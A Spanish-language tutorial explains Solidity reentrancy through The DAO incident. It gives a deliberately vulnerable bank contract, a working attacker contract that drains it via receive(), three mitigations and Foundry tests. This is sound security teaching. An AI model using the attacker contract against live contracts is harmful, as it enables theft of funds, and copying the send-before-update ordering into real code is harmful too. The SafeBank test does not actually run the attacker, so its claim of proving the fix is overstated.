Reentrancy: la vulnerabilidad que costó 60 millones de dólares a The DAO

1. Descripción general

Reentrancy es una de las vulnerabilidades más clásicas de Solidity —y también la causa de que The DAO perdiera aproximadamente 3.6 millones de ETH (~60 millones de USD en 2016). Este artículo explica la naturaleza de la reentrancy, recrea el escenario de ataque con código real, y señala las tres formas más comunes de prevención. Después de leerlo, podrás escribir por ti mismo un contrato vulnerable, un contrato que lo explota, y un contrato parcheado —con tests de Foundry para demostrarlo.

2. ¿Qué es Reentrancy?

Reentrancy ocurre cuando el contrato A realiza una llamada externa (external call) al contrato B, y B lo vuelve a llamar antes de que A actualice su estado. Si A se basa en el estado anterior para decidir su lógica, B puede explotar ese hueco para repetir acciones (como retirar fondos) múltiples veces.

El punto clave: en Solidity, cualquier comando call, send, o transferencia de ETH con datos puede activar la función fallback/receive del receptor —y ese es precisamente donde comienza el bucle.

3. The DAO: qué pasó

The DAO era un fondo de inversión descentralizado que permitía a los titulares de tokens retirar su ETH a través de la función splitDAO. Esta función envía ETH primero, y luego actualiza el saldo de quien retira. El atacante escribió un contrato con una función fallback que volvía a llamar splitDAO justo al recibir ETH —y como el saldo aún no había sido deducido, el atacante pudo retirar fondos múltiples veces en una única transacción.

Consecuencia: 3.6 millones de ETH fueron retirados antes de que la comunidad de Ethereum tuviera que ejecutar un hard fork controvertido (que originó Ethereum Classic) para devolver los fondos.

4. Recreando la vulnerabilidad con código

4.1. Contrato vulnerable

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

contract VulnerableBank {
    mapping(address => uint256) public balances;

    function deposit() external payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw() external {
        uint256 amount = balances[msg.sender];
        require(amount > 0, "No balance");

        // ¡Enviar ETH PRIMERO antes de actualizar el estado -> vulnerabilidad!
        (bool success, ) = msg.sender.call{value: amount}("");
        require(success, "Transfer failed");

        balances[msg.sender] = 0;
    }
}

withdraw() llama a msg.sender.call{value: amount}("") primero, y luego establece balances[msg.sender] = 0. Si msg.sender es un contrato con una función fallback, puede volver a llamar a withdraw() justo mientras se ejecuta call —en este momento balances[msg.sender] aún no ha sido deducido.

4.2. Contrato atacante

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

import "./VulnerableBank.sol";

contract ReentrancyAttacker {
    VulnerableBank public bank;
    uint256 public constant ATTACK_AMOUNT = 1 ether;

    constructor(address bankAddress) {
        bank = VulnerableBank(bankAddress);
    }

    function attack() external payable {
        require(msg.value == ATTACK_AMOUNT, "Need 1 ether");
        bank.deposit{value: ATTACK_AMOUNT}();
        bank.withdraw();
    }

    receive() external payable {
        if (address(bank).balance >= ATTACK_AMOUNT) {
            bank.withdraw(); // volver a llamar mientras balances[this] aún no es 0
        }
    }
}

Flujo de ejecución:

  1. attack() deposita 1 ETH en VulnerableBank, y luego llama a withdraw().
  2. withdraw() envía 1 ETH a ReentrancyAttacker, activando receive().
  3. Dentro de receive(), el atacante ve que el banco aún tiene ETH, así que vuelve a llamar withdraw() —pero balances[attacker] sigue siendo 1 ether (porque aún no ha llegado a la línea de actualización).
  4. El bucle continúa hasta que el banco se queda sin fondos o se agota el gas.
Saldo del banco antes del ataque: 10 ether
Saldo del banco después del ataque: 0 ether
Saldo del atacante: 11 ether

Nota: El código anterior solo es para ilustración. No lo despliegues en mainnet ni en testnet público —ni siquiera para “probar por diversión”.

5. Por qué ese código fue explotado

La causa raíz es la violación del principio Checks-Effects-Interactions: debería verificar (check), actualizar el estado (effect), y luego interactuar con el exterior (interaction). VulnerableBank invierte el orden de effect e interaction —enviando ETH (interaction) antes de deducir el saldo (effect).

Además, call{value: amount}("") transfiere todo el gas restante al receptor (a diferencia de transfer/send que limitan a 2300 gas), por lo que el atacante tiene suficiente gas para ejecutar lógica compleja en fallback/receive.

6. Formas de prevención

6.1. Checks-Effects-Interactions

La forma más simple y barata: actualizar el estado antes de hacer llamadas externas.

function withdraw() external {
    uint256 amount = balances[msg.sender];
    require(amount > 0, "No balance");

    balances[msg.sender] = 0; // Effect primero

    (bool success, ) = msg.sender.call{value: amount}(""); // Interaction después
    require(success, "Transfer failed");
}

Cuando el atacante vuelve a llamar a withdraw() dentro de receive(), balances[msg.sender] ya es 0, por lo que require(amount > 0) revierte inmediatamente —el bucle se detiene.

6.2. ReentrancyGuard de OpenZeppelin

Si la lógica es más compleja y quieres una capa de protección explícita, usa el modificador nonReentrant.

<!-- Si usas Hardhat/npm, instala mediante npm: -->
npm install @openzeppelin/contracts
import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";

contract SafeBank is ReentrancyGuard {
    mapping(address => uint256) public balances;

    function deposit() external payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw() external nonReentrant {
        uint256 amount = balances[msg.sender];
        require(amount > 0, "No balance");

        balances[msg.sender] = 0;

        (bool success, ) = msg.sender.call{value: amount}("");
        require(success, "Transfer failed");
    }
}

nonReentrant usa una variable interna _status: cuando la función se ejecuta, establece el estado en “bloqueado”; si hay una llamada nuevamente a cualquier otra función nonReentrant del contrato en ese momento, la transacción se revierte.

Nota: nonReentrant solo protege las funciones en el mismo contrato que tienen el mismo modificador. No previene la reentrancy entre contratos si llamas a otro contrato y ese contrato vuelve a llamar a una función sin nonReentrant.

6.3. Pull payment pattern

En lugar de enviar ETH automáticamente, permite que los usuarios retiren mediante un paso separado, separando completamente la lógica de acumulación de deuda y la lógica de transferencia de fondos:

contract PullPaymentBank {
    mapping(address => uint256) public pendingWithdrawals;

    function creditWithdrawal(address user, uint256 amount) internal {
        pendingWithdrawals[user] += amount;
    }

    function withdraw() external {
        uint256 amount = pendingWithdrawals[msg.sender];
        require(amount > 0, "Nothing to withdraw");

        pendingWithdrawals[msg.sender] = 0;

        (bool success, ) = msg.sender.call{value: amount}("");
        require(success, "Transfer failed");
    }
}

Este enfoque separa los riesgos: incluso si withdraw() es llamado nuevamente, la lógica de acumulación (creditWithdrawal) ya ocurrió en otro lugar y no se ve afectada.

7. Escribir tests para demostrar el ataque y la corrección

Para Solidity, la herramienta de test equivalente a JUnit es Foundry (forge-std). Los tests a continuación demuestran que VulnerableBank se agota, mientras que SafeBank no.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

import "forge-std/Test.sol";
import "../src/VulnerableBank.sol";
import "../src/SafeBank.sol";
import "../src/ReentrancyAttacker.sol";

contract ReentrancyTest is Test {
    VulnerableBank bank;
    SafeBank safeBank;

    address victim = address(0x1);

    function setUp() public {
        bank = new VulnerableBank();
        safeBank = new SafeBank();

        vm.deal(victim, 10 ether);
        vm.prank(victim);
        bank.deposit{value: 10 ether}();
    }

    function test_VulnerableBank_IsDrainedByReentrancy() public {
        ReentrancyAttacker attacker = new ReentrancyAttacker(address(bank));
        vm.deal(address(this), 1 ether);

        attacker.attack{value: 1 ether}();

        assertEq(address(bank).balance, 0);
        assertEq(address(attacker).balance, 11 ether);
    }

    function test_SafeBank_RejectsReentrancy() public {
        vm.deal(victim, 10 ether);
        vm.prank(victim);
        safeBank.deposit{value: 10 ether}();

        // Intentar que atacante actúe sobre SafeBank -> esperar que no retire más de una vez
        vm.expectRevert();
        vm.prank(victim);
        safeBank.withdraw(); // segunda llamada después de haber retirado todo revierte porque amount = 0
    }
}

Ejecutar tests:

forge test -vv

Resultado esperado:

[PASS] test_VulnerableBank_IsDrainedByReentrancy()
[PASS] test_SafeBank_RejectsReentrancy()

El primer test afirma que bank se agota a 0 y el atacante recibe 11 ETH —exactamente como en el escenario de The DAO. El segundo test afirma que con SafeBank (aplicando Checks-Effects-Interactions), el segundo intento de retiro se revierte porque el saldo ya es 0.

8. Errores comunes

  • Solo cambiar call por transfer/send sin reordenar el estado: transfer limita a 2300 gas y así bloquea la reentrancy simple, pero no es una solución definitiva —muchas billeteras/contratos legítimos necesitan más de 2300 gas para recibir ETH (por ejemplo, contratos proxy), lo que hace que las transacciones válidas fallen.

  • Olvidar reentrancy entre funciones: dos funciones diferentes que leen/escriben la misma variable de estado pueden ser explotadas mutuamente si solo arreglas una.

  • Reentrancy de solo lectura: una función view devuelve un estado no actualizado, que otro contrato lee y usa incorrectamente mientras hay otra transacción en progreso —aún tiene consecuencias aunque no retire fondos directamente.

  • Confiar en que nonReentrant es suficiente para todo el sistema: si tienes múltiples contratos interactuando, debes revisar todo el flujo de llamadas, no solo un contrato aislado.

Nota: No debes considerar ningún patrón individual como “completamente inmune”. Siempre combina Checks-Effects-Interactions con nonReentrant para funciones con llamadas externas y dinero involucrado.

9. Conclusión

El incidente de The DAO fue una lección cara: un orden de operaciones aparentemente inofensivo (enviar fondos primero, actualizar registros después) obligó a toda la comunidad de Ethereum a hacer un hard fork. El principio de Checks-Effects-Interactions, el modificador nonReentrant, y el patrón de pull payment son tres herramientas básicas pero lo suficientemente poderosas para detener esta clase de vulnerabilidades. Siempre que escribas una función con una llamada externa y transferencia de fondos, pregúntate: “¿mi estado ya fue actualizado antes de hacer la llamada externa?”

soliditysmart-contractsecurityreentrancyblockchain